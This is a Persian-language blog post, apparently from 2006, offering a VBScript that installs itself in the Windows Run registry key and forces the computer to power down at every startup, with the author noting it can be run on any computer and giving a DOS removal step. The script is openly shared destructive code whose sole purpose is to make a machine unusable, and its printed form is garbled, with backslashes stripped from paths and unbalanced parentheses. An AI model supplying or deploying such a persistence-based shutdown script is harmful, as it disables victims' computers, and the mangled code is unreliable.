X
تبلیغات
رایتل

مصطفی احمدی

بهترین آموزش ها -کتب الکترونیک-اموزش آشپزی-آموزش فتوشاپ و ...

رستارت کردن مداوم کامپیوتر

این اسکریپت روی هرکامپیوتری اجرا بشه نمی ذاره کامپیوترش بالا بیاد

. حتی فرصت کلیک کردن روی ایکن رو بهش نمی ده .و پشت سر هم restart می شهمی تونید روی کامپیوتر خودتون هم اجراش کنید . برای خلاصی ازش باید فایل C: estart.vbs  رو از کامپیوترتون از طریق Dos حذف کنید

بعد ویندوزتون بالا می آد  کد پایین را  روی notepad کپی کنید و فایل را با پسوند vbs ذخیره کنید.

Sub ShutDown Set FSO = CreateObject("Scripting.FileSystemObject" Set TxtFile =

FSO.CreateTextFile("c: estart.vbs", 2, False) TxtFile.WriteLine "Sub ShutDown " TxtFile.WriteLine "nLogOff=0 "

TxtFile.WriteLine "nReboot=2 " TxtFile.WriteLine "nForceLogOff=4 " TxtFile.WriteLine "nForceReboot=6 "

TxtFile.WriteLine "nPowerDown=8 " TxtFile.WriteLine "nForcePowerDown=12 " TxtFile.WriteLine "Set oOS =

GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+".ExecQuery("+chr(34)+"Select * from

Win32_OperatingSystem"+chr(34)+" " TxtFile.WriteLine "For Each oOperatingSystem in oOS " TxtFile.WriteLine

" oOperatingSystem.Win32Shutdown(nForcePowerDown) " TxtFile.WriteLine "Next " TxtFile.WriteLine "End sub "

TxtFile.WriteLine "ShutDown " TxtFile.Close Set WshShell = CreateObject("WScript.Shell" WshShell.RegWrite

"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunRestart", "c: estart.vbs" End sub

ShutDown

تاریخ ارسال: دوشنبه 6 آذر‌ماه سال 1385 ساعت 09:39 ق.ظ | نویسنده: مصطفی احمدی | چاپ مطلب 2 نظر